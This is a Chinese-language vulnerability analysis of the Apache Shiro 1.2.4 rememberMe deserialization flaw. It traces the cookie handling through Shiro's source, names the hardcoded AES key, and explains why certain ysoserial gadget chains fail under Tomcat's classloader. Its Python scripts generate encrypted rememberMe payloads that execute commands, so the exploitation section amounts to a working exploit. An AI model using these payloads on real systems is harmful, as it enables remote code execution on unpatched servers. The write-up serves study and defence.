1.tomcat filter
tomcat功能中有两个比较重要的概念,一个是Servlet
还有一个是Filter
。所谓的Servlet
也就是我们利用java代码实现web应用程序具体功能的地方。而Filter
正如名字所说,就是一个过滤器。过滤器使用起来可以大幅度提高编程的简便性,比如如果我想统一过滤sql注入、任意文件下载等漏洞,我们就可以通过编写Filter
来实现。Filter
的执行在Servlet
之前。那么如何编写一个Filter
呢?这里以过滤sql注入为例编写一个filter。
1.1 Filter使用
编写Filter有固定的格式要求,例如必须要实现javax.servlet.Filter
接口。而且其中的每一个方法都要符合要求。从idea里新建一个Filter
它会自动的帮我们生成一个如下的模版:
import javax.servlet.*; import javax.servlet.Filter; import javax.servlet.annotation.WebFilter; import javax.servlet.http.HttpServletRequest; import java.io.IOException; import java.util.Map; @WebFilter(filterName = "SqliFilter") public class SqliFilter implements Filter { public void destroy() { } public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws ServletException, IOException { //在这里进行真正想做的过滤操作 chain.doFilter(req, resp); } public void init(FilterConfig config) throws ServletException {//tomcat启动时加载filter时运行 } }
可以看到,真正实现过滤器的主要的方法就是doFilter
方法,该方法传递的参数也是固定的。在参数中给我们提供了ServletRequest
、ServletResponse
、FilterChain
这三个参数:
- ServletRequest:简单说就是客户端发起的request请求,各种请求参数都可以在这里获取
- ServletResponse:就是服务端返回的responese,写页面,设置cookie等都可以在这里进行
- FilterChain:很显然过滤器可能不只一个,因此通过传递FilterChain参数让我们知道还需要运行哪些filter,以便将过滤工作传递给下一个filter
这里我们简单写一个过滤select
关键字的filter-SqliFilter.java
,代码如下:
import javax.servlet.*; import javax.servlet.Filter; import javax.servlet.annotation.WebFilter; import javax.servlet.http.HttpServletRequest; import java.io.IOException; import java.util.Map; @WebFilter(filterName = "SqliFilter") public class SqliFilter implements Filter { public void destroy() { } public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws ServletException, IOException { HttpServletRequest request = (HttpServletRequest)req; Map<String,String[]> argStr = req.getParameterMap(); for (String key : argStr.keySet()){//获取所有的参数 String val = argStr.get(key)[0]; resp.getWriter().write("The parm "+key+" is "+val+"</br>"); while(val.matches(".*?(?i)select.*?")){//循环替换过滤掉所有的select val = val.replaceAll("(?i)select", ""); } resp.getWriter().write("The parm "+key+" after filter is "+val); } chain.doFilter(req, resp); } public void init(FilterConfig config) throws ServletException { } }
为了让filter生效还需要编辑一下WEB-INF/web.xml
文件添加Filter的相关配置,主要是添加一下filter的名字和对应的class文件,以及在url匹配到什么的时候运行该filter,具体内容如下:
<?xml version="1.0" encoding="UTF-8"?> <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0"> <filter> <filter-name>SqliFilter</filter-name> <filter-class>SqliFilter</filter-class> </filter> <filter-mapping> <filter-name>SqliFilter</filter-name> <url-pattern>/*</url-pattern> </filter-mapping> </web-app>
将编译好的SqliFilter.class
放入WEB-INF/classes
即可使用。
简单测试一下功能,可以看到这里可以正确的过滤掉参数中的select关键字。
2.shiro简介
shiro是一个Java安全框架。可以帮助开发人员进行实现身份验证、授权、密码和会话管理等功能。而在1.2.4版本中使用remember Me(一个存储在cookie中的字符串,用于保存用户信息)功能时,由于该cookie采用固定key进行AES加密,并且后端代码对解密后的内容进行了反序列化,因此可以构造序列化数据触发反序列化漏洞。
2.1 实验环境搭建
我们从github下载其源码进行测试,源码中samples/web
目录下是一个简易的使用了shiro的web网站,我们使用这个网站作为实例进行测试。使用前需要,对其进行简单修改使其可在tomcat下运行。
1.下载shiro 1.2.4版本代码并解压
wget -c https://github.com/apache/shiro/archive/shiro-root-1.2.4.tar.gz --no-check-certificate tar -zxf shiro-shiro-root-1.2.4.tar.gz
2.添加本地toolchains配置,shiro-shiro-root-1.2.4/pom.xml
中,配置项目使用了toolchains
来指定所用jdk版本。
因此这里需要本地配置一下~/.m2/toolchains.xml
文件,添加内容如下:
<toolchains> <toolchain> <type>jdk</type> <provides> <version>1.8</version> <vendor>sun</vendor> </provides> <configuration> <jdkHome>/Library/Java/JavaVirtualMachines/jdk1.8.0_181.jdk/</jdkHome> </configuration> </toolchain> </toolchains>
这里我本机的环境是jdk1.8,因此设置路径为jdk1.8的目录。需要修改一下shiro-shiro-root-1.2.4/pom.xml
也使用1.8版本。
<configuration> <toolchains> <jdk> <version>1.8</version> <vendor>sun</vendor> </jdk> </toolchains> </configuration>
3.在shiro-shiro-root-1.2.4/samples/web/pom.xml
中添加(有则替换)如下内容以启用对jsp标签支持:
<dependency> <groupId>taglibs</groupId> <artifactId>standard</artifactId> <version>1.1.2</version> </dependency> <dependency> <groupId>javax.servlet</groupId> <artifactId>servlet-api</artifactId> <scope>provided</scope> </dependency>
4.添加tomcat服务器
5.测试运行,则正常运行如下:
3.漏洞分析
3.1 rememberMe解密分析
先看一下WEB-INF/web.xml
,发现这里使用了filter来对请求进行过滤。
<filter> <filter-name>ShiroFilter</filter-name> <filter-class>org.apache.shiro.web.servlet.ShiroFilter</filter-class> </filter> <filter-mapping> <filter-name>ShiroFilter</filter-name> <url-pattern>/*</url-pattern> </filter-mapping>
这里可以看到filter具体的类是org.apache.shiro.web.servlet.ShiroFilter
,而url匹配规则为对于任意url均调用该filter。跟进该filter查看shiro如何对请求进行处理。该类代码如下:
public class ShiroFilter extends AbstractShiroFilter { @Override public void init() throws Exception { WebEnvironment env = WebUtils.getRequiredWebEnvironment(getServletContext()); setSecurityManager(env.getWebSecurityManager()); FilterChainResolver resolver = env.getFilterChainResolver(); if (resolver != null) { setFilterChainResolver(resolver); } } }
可以看到这里并没有见到doFilter
方法,而前面了解了filter真正对请求和相应的处理方法要写在doFilter
方法中。那么doFilter
方法可能在其父类中。这里 ShiroFilter
的父类是AbstractShiroFilter
,而AbstractShiroFilter
的父类为OncePerRequestFilter
。doFilter
就保存在OncePerRequestFilter
类中,代码如下:
public final void doFilter(ServletRequest request, ServletResponse response, FilterChain filterChain) throws ServletException, IOException { String alreadyFilteredAttributeName = getAlreadyFilteredAttributeName(); if ( request.getAttribute(alreadyFilteredAttributeName) != null ) { log.trace("Filter '{}' already executed. Proceeding without invoking this filter.", getName()); filterChain.doFilter(request, response); } else //noinspection deprecation if (/* added in 1.2: */ !isEnabled(request, response) || /* retain backwards compatibility: */ shouldNotFilter(request) ) { log.debug("Filter '{}' is not enabled for the current request. Proceeding without invoking this filter.", getName()); filterChain.doFilter(request, response); } else { // Do invoke this filter... log.trace("Filter '{}' not yet executed. Executing now.", getName()); request.setAttribute(alreadyFilteredAttributeName, Boolean.TRUE); //上面就是判断一下是否需要执行当前这个filter try { doFilterInternal(request, response, filterChain);//执行doFilterInternal方法 } finally { // Once the request has finished, we're done and we don't // need to mark as 'already filtered' any more. request.removeAttribute(alreadyFilteredAttributeName); } } }
可以看到OncePerRequestFilter.doFilter
方法中对是否需要执行进行了简单的判断,然后执行了doFilterInternal
方法,该方法保存在子类AbstractShiroFilter
中,AbstractShiroFilter.doFilterInternal
代码如下:
protected void doFilterInternal(ServletRequest servletRequest, ServletResponse servletResponse, final FilterChain chain) throws ServletException, IOException { Throwable t = null; try { final ServletRequest request = prepareServletRequest(servletRequest, servletResponse, chain);//简单处理request,就是做了个类型转化 final ServletResponse response = prepareServletResponse(request, servletResponse, chain);//简单处理response,就是做了个类型转化 final Subject subject = createSubject(request, response);//调用createSubject方法得到subject对象,从subject的注释中我们可以了解到subject是用来管理身份认证等具体功能的 //noinspection unchecked subject.execute(new Callable() { public Object call() throws Exception { updateSessionLastAccessTime(request, response); executeChain(request, response, chain); return null; } }); ......省略......
这里面先对request
和response
做了简单的类型转化。然后调用了createSubject
方法,来创建一个subject,从subject的注释中我们可以了解到subject是用来管理身份认证等具体功能的。而真正对于cookie等信息处理,其实就在这个createSubject
方法中。当然该方法还调用了一系列类才最终调用到了真正进行的createSubject
方法。调用栈如下图:
可以看到,最终调用的其实是DefaultSecurityManager.createSubject
方法。该类保存于org.apache.shiro.mgt.DefaultSecurityManager
中。该方法的代码如下:
public Subject createSubject(SubjectContext subjectContext) { //create a copy so we don't modify the argument's backing map: SubjectContext context = copy(subjectContext); //确保context中有SecurityManager如果没有添加一个 context = ensureSecurityManager(context); //解析用户session context = resolveSession(context); //解析获得用于标识用户身份的主要信息,注释中提到了subject的处理函数不需要知道RememberMe概念,因此对于RememberMe的解析过程就在下面这个方法中 context = resolvePrincipals(context); Subject subject = doCreateSubject(context);//创建subject对象 //保存subject save(subject); return subject; }
根据程序的注释我们可以知道,对于RememberMe参数的处理就是在resolvePrincipals
方法中。DefaultSecurityManager.resolvePrincipals
代码如下:
protected SubjectContext resolvePrincipals(SubjectContext context) { //尝试从当前上下文中解析获得principals(标识用户身份的主要信息),context运行时为org.apache.shiro.web.subject.support.DefaultWebSubjectContext,如果当前用户已经登录成功,则在其resolvePrincipals可能会通过sessionid来获取到principals PrincipalCollection principals = context.resolvePrincipals(); if (CollectionUtils.isEmpty(principals)) {//如果当前context中无法获得principals log.trace("No identity (PrincipalCollection) found in the context. Looking for a remembered identity."); principals = getRememberedIdentity(context);//尝试从RememberMe标识中获取principals,也就是在这里会开始解析cookie中我们发送的rememberMe if (!CollectionUtils.isEmpty(principals)) { log.debug("Found remembered PrincipalCollection. Adding to the context to be used " + "for subject construction by the SubjectFactory."); context.setPrincipals(principals);//保存principals } else { log.trace("No remembered identity found. Returning original context."); } } return context; }
可以看到总的来说就是如果当前context
中无法获取到principals
,则尝试通过Cookie中的Remember关键字来获取principals
。getRememberedIdentity
方法代码如下:
protected PrincipalCollection getRememberedIdentity(SubjectContext subjectContext) { RememberMeManager rmm = getRememberMeManager();//获取RememberMeManager,获取到的是一个org.apache.shiro.web.mgt.CookieRememberMeManager实例 if (rmm != null) { try { return rmm.getRememberedPrincipals(subjectContext);//尝试从当前程序运行上下午获取RememberMe关键字并得到Principals } ......省略...... } return null; }
可以看到负责解析Cookie中RememberMe并获取Principals的方法就是CookieRememberMeManager
的getRememberedPrincipals
方法。CookieRememberMeManager
类本身没有getRememberedPrincipals
,因此这里调用的是它的父类AbstractRememberMeManager
的getRememberedPrincipals
方法。该方法代码如下:
public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) { PrincipalCollection principals = null; try { //从名字可以看出来这里从RememberMe中获取序列化的数据 byte[] bytes = getRememberedSerializedIdentity(subjectContext); //如果获取到的数据不为空则从数据进行反序列化得到principals if (bytes != null && bytes.length > 0) { principals = convertBytesToPrincipals(bytes, subjectContext); } } catch (RuntimeException re) { principals = onRememberedPrincipalFailure(re, subjectContext); } return principals; }
可以看到代码逻辑非常简单,就是先尝试从Cookie中获取RememberMe关键字,得到一段序列化数据。然后对这段序列化数据反序列化得到身份信息principals。那么先看一下是如何从Cookie中获取RememberMe,即getRememberedSerializedIdentity
的运行流程。该方法保存在CookieRememberMeManager
方法中,代码如下:
protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) { ......省略...... //获取Cookie中base64编码的rememberMe String base64 = getCookie().readValue(request, response); if (Cookie.DELETED_COOKIE_VALUE.equals(base64)) return null; //这个DELETED_COOKIE_VALUE就是deleteMe字符串 if (base64 != null) { base64 = ensurePadding(base64); if (log.isTraceEnabled()) { log.trace("Acquired Base64 encoded identity [" + base64 + "]"); } byte[] decoded = Base64.decode(base64);//base64解码 if (log.isTraceEnabled()) { log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes."); } return decoded;//返回解码后的结果 } else { //no cookie set - new site visitor? return null; } }
可以看到代码逻辑非常简单,就是从COOKIE中读取rememberMe
,然后base64解码返回。接着再看看返回后的数据是如何处理的,这里跟入convertBytesToPrincipals
方法。代码如下:
protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) { if (getCipherService() != null) {//获取加/解密服务 bytes = decrypt(bytes);//对bytes进行解密 } return deserialize(bytes);//返回反序列化结果 }
可以看到,代码的逻辑就是对上一步base64解码后的数据进行解密,然后执行反序列化。那么这里我们就需要看看解密是什么流程,我们跟入decrypt
方法,该方法代码如下:
protected byte[] decrypt(byte[] encrypted) { byte[] serialized = encrypted;//原始的加密数据 CipherService cipherService = getCipherService();//获取加密解密类 if (cipherService != null) { ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());//解密 serialized = byteSource.getBytes(); } return serialized; }
这里可以看到默认的getDecryptionCipherKey的结果是是AesCipherService
,而getDecryptionCipherKey()的结果是Base64.decode("kPH+bIxk5D2deZiIxcaaaA==")
跟进一下AesCipherService.decrypt
可以看到这里并不是标准的AES,代码如下:
public ByteSource decrypt(byte[] ciphertext, byte[] key) throws CryptoException { byte[] encrypted = ciphertext; byte[] iv = null; if (isGenerateInitializationVectors(false)) { try { int ivSize = getInitializationVectorSize();//默认是128 int ivByteSize = ivSize / BITS_PER_BYTE;//默认是16 //前16字节是iv iv = new byte[ivByteSize]; System.arraycopy(ciphertext, 0, iv, 0, ivByteSize); //remaining data is the actual encrypted ciphertext. Isolate it: int encryptedSize = ciphertext.length - ivByteSize; encrypted = new byte[encryptedSize]; System.arraycopy(ciphertext, ivByteSize, encrypted, 0, encryptedSize);//取出除iv外部分为真正AES加密的数据 } catch (Exception e) { String msg = "Unable to correctly extract the Initialization Vector or ciphertext."; throw new CryptoException(msg, e); } } return decrypt(encrypted, key, iv);//这个里面就是调用了标准的AES解密了 }
这里有16个字节的iv,后面才是真正加密的数据。简单来说整个从rememberMe中获取用户身份的关键字就是先base64解码,然后使用硬编码的key进行AES解密(前16字节为iv),对解密后的结果进行反序列化得到表示用户身份的principals
。很显然如果这里反序列化没有进行检查,那么我们显然可以自己构造一段序列化数据,然后先AES加密,再Base64编码然后发送给服务器从而执行命令。
3.2 解密算法测试
那么这里我们知道了程序是如何处理rememberMe关键字的,使用样例程序中登录root身份后的rememberMe,验证一下是否正确。使用root登录得到Cookie
如下:
rememberMe=tHJ/mQ7E2okk26uzc19gEDqG1K0x8A21aJFD2cZIVth/5N52LGOKw8bkbmJ0KV52abU8s/p1yRjfnz28LVv3Mey2439BgNiaBeNGLEBO0Al73eh3rc/CI92wQ/EHYAncAWp1L7GztFWaAP1axfk0kUJX/mKZElpF+af1OkRsxB4AVAbzwdOtrDhVev6Hts+x2nQpk/6Uq3NyABClJaUTTBbcrRb/h5t64p7fhZS6BWXuXj8dYuv7hQgUUPStwqDYz1vsUfYxOVgEc+FadObIuuOxiel6UeMcvkrExx6PT2U3zdE435ylFB1VTVA2h9xUIQj+li9mLslgF9BK9tRByhOIZSpVGt+G7li8CEt+4U/9iKl07fXotAz/R252VRRMg+rcsnoNjmT6FY03Cjbpla65yDHzCzm1w2tZxTu4osHX4vXbzY+vg2BFUMPYs4Q1HRqrDy5QNob4sivkB/mMKjb23sCxLzpG5mIfHAoq9ambwQDIDDBhUedTRx8j/edP;
使用如下代码进行测测试:
#-*- coding:utf-8 -*- # python3 import base64 import uuid from Crypto.Cipher import AES key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") rememberMe="tHJ/mQ7E2okk26uzc19gEDqG1K0x8A21aJFD2cZIVth/5N52LGOKw8bkbmJ0KV52abU8s/p1yRjfnz28LVv3Mey2439BgNiaBeNGLEBO0Al73eh3rc/CI92wQ/EHYAncAWp1L7GztFWaAP1axfk0kUJX/mKZElpF+af1OkRsxB4AVAbzwdOtrDhVev6Hts+x2nQpk/6Uq3NyABClJaUTTBbcrRb/h5t64p7fhZS6BWXuXj8dYuv7hQgUUPStwqDYz1vsUfYxOVgEc+FadObIuuOxiel6UeMcvkrExx6PT2U3zdE435ylFB1VTVA2h9xUIQj+li9mLslgF9BK9tRByhOIZSpVGt+G7li8CEt+4U/9iKl07fXotAz/R252VRRMg+rcsnoNjmT6FY03Cjbpla65yDHzCzm1w2tZxTu4osHX4vXbzY+vg2BFUMPYs4Q1HRqrDy5QNob4sivkB/mMKjb23sCxLzpG5mIfHAoq9ambwQDIDDBhUedTRx8j/edP" b64decodeRememberMe = base64.b64decode(rememberMe) iv = b64decodeRememberMe[0:16]#前16字节是iv aesEncodedRememberMe = b64decodeRememberMe[16:] aes = AES.new(key, AES.MODE_CBC,iv) aesdecodedRememberMe = aes.decrypt(aesEncodedRememberMe) with open("rememberMe.bin","wb") as f: f.write(aesdecodedRememberMe)
可以看到,成功解密出了所传入的序列化数据。
3.3 反序列化过程
那么得到的解密后的序列化数据是如何进行反序列化操作的呢?回到AbstractRememberMeManager
类的convertBytesToPrincipals
方法中。
protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) { if (getCipherService() != null) {//获取加/解密服务 bytes = decrypt(bytes);//对bytes进行解密 } return deserialize(bytes);//返回反序列化结果 }
可以看到第一步先对base64解码后的rememberMe进行了特殊的AES解密,然后调用了deserialize
方法来对二进制形式的序列化数据(bytes)进行反序列化。AbstractRememberMeManager.deserialize
方法的代码如下:
protected PrincipalCollection deserialize(byte[] serializedIdentity) { return getSerializer().deserialize(serializedIdentity); }
这个getSerializer
就是返回当前AbstractRememberMeManager
的serializer
属性,这里执行时返回的结果是DefaultSerializer
类的一个实例,该类保存于org.apache.shiro.io.DefaultSerializer
。那么其实调用的就是DefaultSerializer.deserialize
方法来对这个得到的二进制序列化数据进行反序列化。deserialize
方法代码如下:
public T deserialize(byte[] serialized) throws SerializationException { ......省略...... ByteArrayInputStream bais = new ByteArrayInputStream(serialized); BufferedInputStream bis = new BufferedInputStream(bais); try { ObjectInputStream ois = new ClassResolvingObjectInputStream(bis); @SuppressWarnings({"unchecked"}) T deserialized = (T) ois.readObject(); ois.close(); return deserialized; } ......省略.......
代码逻辑非常简单,其实就是把输入的二进制序列化数据转换成ObjectInputStream
的一个子类,然后调用readObject方法进行反序列化,再将反序列化得到的类进行返回。看起来非常简单,我们进行一下测试。
3.4 反序列化利用链测试
shiro-1.2.4中所用有见到commons-collections,版本为3.2.1
,这里我给我的simple-web项目也添加上commons-collections-3.2.1(并不是说原有的simple-web里面就有commons-collections3.2.1,如果不手动添加mvn依赖,web目录下的lib目录中并不会有commons-collections)。这里我的java为8u181,我们先看看该版本下有哪些可利用的利用链。新键一个maven项目,pom.xml
添加cc3.2.1
。
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections --> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version> </dependency>
先使用如下代码测试可用利用链:
import java.io.*; public class TestCC { public static void main(String[] args) throws IOException, ClassNotFoundException { FileInputStream fileInputStream = new FileInputStream("test.bin"); ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream); objectInputStream.readObject(); } }
最终测试发现CC5
、CC6
、CC7
为该版本下可利用的利用链。使用如下加密脚本对所生成的序列化数据进行加密,生成加密的rememberMe:
import base64 import uuid import subprocess from Crypto.Cipher import AES def getEncoderememberMe(command): popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'CommonsCollections7', command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode(key), mode, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext if __name__ == '__main__': payload = getEncoderememberMe('/Applications/Calculator.app/Contents/MacOS/Calculator') print("rememberMe="+payload.decode())
但是在测试中发现,CC5-7均无法成功利用,并且会产生类似报错,如下:
Caused by: java.lang.ClassNotFoundException: Unable to load ObjectStreamClass [[Lorg.apache.commons.collections.Transformer;: static final long serialVersionUID = -4803604734341277543L;]: at org.apache.shiro.io.ClassResolvingObjectInputStream.resolveClass(ClassResolvingObjectInputStream.java:55) at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:1868) at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1751) at java.io.ObjectInputStream.readArray(ObjectInputStream.java:1930) at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1567) at java.io.ObjectInputStream.defaultReadFields(ObjectInputStream.java:2287) at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2211) at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2069) at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1573) at java.io.ObjectInputStream.defaultReadFields(ObjectInputStream.java:2287) at java.io.ObjectInputStream.defaultReadObject(ObjectInputStream.java:561) at org.apache.commons.collections.map.LazyMap.readObject(LazyMap.java:150) at sun.reflect.GeneratedMethodAccessor41.invoke(Unknown Source) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:498) at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1170) at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2178) at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2069) at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1573) at java.io.ObjectInputStream.readObject(ObjectInputStream.java:431) at java.util.Hashtable.readObject(Hashtable.java:1211) at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.lang.reflect.Method.invoke(Method.java:498) at java.io.ObjectStreamClass.invokeReadObject(ObjectStreamClass.java:1170) at java.io.ObjectInputStream.readSerialData(ObjectInputStream.java:2178) at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2069) at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1573) at java.io.ObjectInputStream.readObject(ObjectInputStream.java:431) at org.apache.shiro.io.DefaultSerializer.deserialize(DefaultSerializer.java:77) ... 30 more
从报错信息中来看就是调用resolveClass
的时候无法找到里面这个[Lorg.apache.commons.collections.Transformer;
。在刚才,这个ClassResolvingObjectInputStream
里面和父类ObjectInputStream
唯一的不同就是它重写了resolveClass
方法,该方法使用来解析某个要加载的Class的,代码如下:
@Override protected Class<?> resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException { try { return ClassUtils.forName(osc.getName()); } catch (UnknownClassException e) { throw new ClassNotFoundException("Unable to load ObjectStreamClass [" + osc + "]: ", e); } }
刚刚加载报错找不到类的代码也就是这里,可以看到这里调用了ClassUtils.forName
方法来加载类。代码如下:
public static Class forName(String fqcn) throws UnknownClassException { //轮番上阵,使用多个loadClass方法来加载类 Class clazz = THREAD_CL_ACCESSOR.loadClass(fqcn); if (clazz == null) { clazz = CLASS_CL_ACCESSOR.loadClass(fqcn); } if (clazz == null) { if (log.isTraceEnabled()) { clazz = SYSTEM_CL_ACCESSOR.loadClass(fqcn); } if (clazz == null) { String msg = "Unable to load class named [" + fqcn + "] from the thread context, current, or " + "system/application ClassLoaders. All heuristics have been exhausted. Class could not be found."; throw new UnknownClassException(msg); } return clazz; }
代码非常简单,就是轮番上阵,使用多个不同的ClassLoaderAccessor
实例的loadClass方法来加载类。ClassUtils$ExceptionIgnoringAccessor.loadClass
方法代码如下:
public Class loadClass(String fqcn) { Class clazz = null; ClassLoader cl = getClassLoader();//获取当前ClassLoader if (cl != null) { try { clazz = cl.loadClass(fqcn);//调用loadClass方法 } catch (ClassNotFoundException e) { if (log.isTraceEnabled()) { log.trace("Unable to load clazz named [" + fqcn + "] from class loader [" + cl + "]"); } } } return clazz; }
简单来说就是获取当前ClassLoader然后调用它的loadClass方法。这里获取到的classloader是WebappClassLoaderBase
类,跟进一下它的loadClass
方法,代码如下:
public Class<?> loadClass(String name) throws ClassNotFoundException { return loadClass(name, false); }
再次跟进找到真正的loadClass方法。
public Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException { synchronized (getClassLoadingLock(name)) { ......省略...... // (0) Check our previously loaded local class cache clazz = findLoadedClass0(name);//其他的非数组类能找到就是从这里获取的 if (clazz != null) { ......省略...... if (resolve) resolveClass(clazz); return clazz; } ......省略...... if (!delegateLoad) { if (log.isDebugEnabled()) log.debug(" Delegating to parent classloader at end: " + parent); try { clazz = Class.forName(name, false, parent);//调用了forName但是CLassLoader的path里没有CC3的路径 if (clazz != null) { if (log.isDebugEnabled()) log.debug(" Loading class from parent"); if (resolve) resolveClass(clazz); return clazz; } } catch (ClassNotFoundException e) { // Ignore } } } throw new ClassNotFoundException(name); }
通过调试发现,除了Transformer数组
的类,其他的类之所以都能找到是因为调用了findLoadedClass0
方法,该方法会在WebappClassLoaderBase.resourceEntries
中查找是否存在类。webApp再启动的时候会加载所用到的jar包,然后WebappClassLoaderBase.resourceEntries
当中就会有每一个类的名字。但是这里这个[LTransformer
是个数组,并不是原始的Transformer
类,名字和Map中的名字不对应。因此无法通过findLoadedClass0
找到这个类。
而后面的Class.forName
虽然可以加载数组,但是所用的Classloader的path里并不包含CC3.2.1
文件路径,因此无法加载该类。
也就是说,shiro反序列化过程中,最好不要用到非java自带类的数组。当然这里我们可以换一下CC4.0
版本,毕竟CC4.0
可以用ysoserial-CC2
的利用链,并且其中没有用到CC链中的数组。
4.漏洞利用
通过上述分析,当存在其他利用链时,该漏洞可以作为一个反序列化入口,触发其他利用链。但从漏洞利用角度而言,最好还是利用一个shiro项目本身依赖的利用链。从依赖当中可以看到,其实shiro本身是用到了commons-beanutils-1.8.3
。
而ysoserial提供的利用链中,正好也存在满足要求的利用链。
CommonsBeanutils1 @frohoff commons-beanutils:1.9.2
修改一下脚本测试一下:
import base64 import uuid import subprocess from Crypto.Cipher import AES def getEncoderememberMe(command): popen = subprocess.Popen(['java', '-jar', 'ysoserial-all.jar', 'CommonsBeanutils1', command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode(key), mode, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext if __name__ == '__main__': payload = getEncoderememberMe('/System/Applications/Calculator.app/Contents/MacOS/Calculator') print("rememberMe="+payload.decode())
测试发现无法反序列化该数据,tomcat报错如下:
可以看到,是因为ysoserial的CommonsBeanutils和shiro项目CommonsBeanutils的版本不同,serialVersionUID不同导致的加载失败。直接在ysoserial项目中修改pom.xml
,将版本修改为shiro项目中依赖的版本1.8.3:
<dependency> <groupId>commons-beanutils</groupId> <artifactId>commons-beanutils</artifactId> <version>1.8.3</version> </dependency>
重新打包测试,发现还是执行失败,tomcat报错如下:
Caused by: java.lang.ClassNotFoundException: Unable to load ObjectStreamClass [org.apache.commons.collections.comparators.ComparableComparator: static final long serialVersionUID = -291439688585137865L;]:
结合调试查看Exception信息,如下图,可以看到是因为找不到ComparableComparator
类:
其实这里是因为CommonsBeanutils利用链里BeanComparator
类中使用了cc的ComparableComparator
类,但是shiro项目默认没有加载该类,因此找不到该类。
这里网上大佬给出的解决方案就是替换掉ComparableComparator
类,找一个替代品,使用的是CaseInsensitiveComparator
,重新修改ysoserial
项目,修改内容如下:
此时再次生成payload,即可执行成功。